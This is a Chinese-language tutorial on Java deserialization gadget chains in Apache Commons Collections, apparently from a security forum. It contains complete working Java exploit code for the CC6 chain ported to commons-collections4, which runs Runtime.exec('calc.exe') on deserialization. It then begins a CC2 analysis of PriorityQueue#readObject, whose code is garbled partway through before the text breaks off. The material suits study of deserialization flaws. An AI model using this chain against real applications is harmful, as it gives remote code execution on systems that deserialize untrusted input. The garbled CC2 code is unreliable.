commons-collections的版本和分支
2015年cc链的利用被提出时,apache commons collections有两个分支:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
前者为Commons Collections⽼的版本包,当时版本号是3.2.1,后 者是官⽅在2013年推出的4版本,当时版本号是4.0。两个包的groupId和artifactId都变了,所以它们并不是一个包的不同版本,而是有着相似功能的不同包。
commons-collections4中的cc1、cc3、cc6
cc1、cc3、cc6都可以在CommonsCollections4中利用,除了cc6需要做一些小改动
将LazyMap.decorate替换为了LazyMap.lazyMap,这是因为CommonsCollections4中的代码改动造成的。- import org.apache.commons.collections4.Transformer;
- import org.apache.commons.collections4.functors.ChainedTransformer;
- import org.apache.commons.collections4.functors.ConstantTransformer;
- import org.apache.commons.collections4.functors.InvokerTransformer;
- import org.apache.commons.collections4.keyvalue.TiedMapEntry;
- import org.apache.commons.collections4.map.LazyMap;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
- public class CC6InCommonsCollections4 {
- public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
- Object expMap = new CommonCollection6().getObject();
- // ==================
- // ⽣成序列化字符串
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(expMap);
- oos.close();
- // 本地测试触发
- System.out.println(barr);
- ObjectInputStream ois = new ObjectInputStream(new
- ByteArrayInputStream(barr.toByteArray()));
- Object o = (Object)ois.readObject();
- }
- public Object getObject() throws NoSuchFieldException, IllegalAccessException {
- Transformer[] fakeTransformers = new Transformer[] {new
- ConstantTransformer(1)};
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] { String.class,
- Class[].class }, new
- Object[] { "getRuntime",
- new Class[0] }),
- new InvokerTransformer("invoke", new Class[] { Object.class,
- Object[].class }, new
- Object[] { null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] { String.class },
- new String[] { "calc.exe" }),
- new ConstantTransformer(1),
- };
- Transformer transformerChain = new ChainedTransformer(fakeTransformers);
- Map innerMap = new HashMap();
- // 修改
- Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
- TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
- Map expMap = new HashMap();
- expMap.put(tme, "valuevalue");
- outerMap.remove("keykey");
- Field f =
- ChainedTransformer.class.getDeclaredField("iTransformers");
- f.setAccessible(true);
- f.set(transformerChain, transformers);
- return expMap;
- }
- }
复制代码 CC2
- 入口为java.util.PriorityQueue#readObject,是一个二叉堆
- 通过org.apache.commons.collections4.comparators.TransformingComparator#compare调用transform
java.util.PriorityQueue#readObject分析 :
[code]// java.util.PriorityQueue#readObjectprivate void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }// java.util.PriorityQueue#heapify恢复二叉堆状态private void heapify() { // size >>> 1个非叶子节点需要调整 // 假如最后一个叶子结点的位置为n,它的父节点的位置为n>>>1,从父节点的位置往前数全部是非叶子节点 for (int i = (size >>> 1) - 1; i >= 0; i--) // 调整每个非叶子节点 siftDown(i, (E) queue); }private void siftDown(int k, E x) { // 优先队列需要比较节点的大小,comparator是比较器 if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }// 利用提前设置的比较器private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k 0) c = queue[child = right]; // 触发org.apache.commons.collections4.comparators.TransformingComparator#compare if (comparator.compare(x, (E) c) |